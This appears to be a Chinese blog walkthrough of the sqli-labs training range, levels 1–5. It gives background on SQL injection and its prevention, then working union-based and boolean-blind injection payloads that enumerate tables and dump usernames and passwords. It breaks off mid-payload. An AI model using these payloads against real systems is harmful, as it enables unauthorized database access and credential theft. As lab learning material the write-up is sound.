继续做这个数据库的靶场昂,老规矩,还是先回顾一下pikachu的数据库注入漏洞
一、前情提要
1、什么是数据库
数据库是一个结构化的数据集合,用于存储、管理和检索数据。它是一个组织化的数据集合,可以通过计算机系统进行访问、管理和更新。数据库通常以表格的形式存储数据,其中每个表格包含多个列,每一行则代表一个数据记录。
数据库可以用于存储各种类型的数据,包括文本、数字、图像、音频和视频等。它们被广泛应用于各种领域,如企业管理、电子商务、金融、医疗保健、教育和科学研究等。数据库通过提供高效的数据管理和检索功能,帮助组织和个人更有效地组织和利用数据。
常见的数据库系统包括关系型数据库(如MySQL(这里使用的)、Oracle、SQL Server)、非关系型数据库(如MongoDB、Redis)、以及混合型数据库(如MariaDB)。这些数据库系统提供了各种功能和性能特性,以满足不同应用场景的需求。
2、数据库漏洞
数据库漏洞是指数据库系统中存在的安全漏洞,可能会导致未经授权的访问、数据泄露、数据篡改或系统崩溃等安全问题。数据库漏洞可能是由于软件设计缺陷、配置错误、未及时更新补丁或未经授权的访问等原因导致的。
一些常见的数据库漏洞包括SQL注入、未经授权的访问、未加密的数据传输、弱密码、未授权的配置更改等。为了防止数据库漏洞的发生,数据库管理员需要及时更新数据库软件和补丁,加强访问控制和身份验证机制,加密数据传输,定期进行安全审计和漏洞扫描等措施。
3、预防漏洞
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
这一部分基本上是纯英文,英语没学好要遭殃了,呜呜呜,而且需要我们掌握一定的sql语句(增删改查尤为重要)
二、开始通关
Less-1
看题,数字ID作为参数,我们输入 ?id=1
通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
接下来判断是字符型还是数字型
输入?id=1' //报错
输入?id=1' --+ //(--+为注释符)正常回显
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这个错误提示是关于SQL语法的错误。它表明在你的SQL查询中有语法错误,可能是因为在语句中使用了不正确的语法或者引号。建议你检查一下你的SQL查询语句,确保语法正确。
由此可见,本题是字符型。
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。(联合查询是指在数据库中同时查询多个表的数据,并将它们联合起来展示。这种查询通常用于需要从多个表中获取相关数据的情况。在SQL中,可以使用关键字"union"来进行联合查询,或者使用"JOIN"来连接多个表进行查询。联合查询可以帮助用户从不同的表中检索相关的数据,以便进行更全面的分析和报告。)
用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
payload:?id=1'order by 3 --+
3没有报错而4报错了,说明,总共有三列。
爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
payload:?id=-1'union select 1,2,3--+
这个结果可以看到是第二列和第三列里面的数据是显示在页面的。
获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。
payload:?id=-1'union select 1,database(),version()--+
通过结果知道当前数据看是security,版本是5.7.26。
爆表
payload:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
然后爆列名,通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中
payload:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
palyload:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
成功获得了所有的账号和密码!
Less-2
和第一关是一样进行判断
入?id=1‘ --+ //报错
输入?id=1 --+ //正常回显
说明是数字型注入。
剩下的步骤只需把第一关的sql语句?id=-1'的单引号去掉就行了
?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
Less-3
当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
接下来可以构造闭合了,只需把第一关的sql语句?id=-1'后加一个)就行了
?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
Less-4
根据页面报错信息得知sql语句是双引号字符型且有括号
接下来可以构造闭合了,只需把第上关的sql语句?id=-1')后加一个?id=-1"就行了
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less-5
第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数
-
length() 函数:用于获取字符串的长度,即字符串中字符的个数。
-
ascii() 函数:用于获取字符的ASCII码值。
-
substr() 函数:用于获取字符串的子串,即从原字符串中截取指定长度的子字符串。
首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。判断所有表名字符长度。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+逐一判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
判断所有字段名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+逐一判断字段名。
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema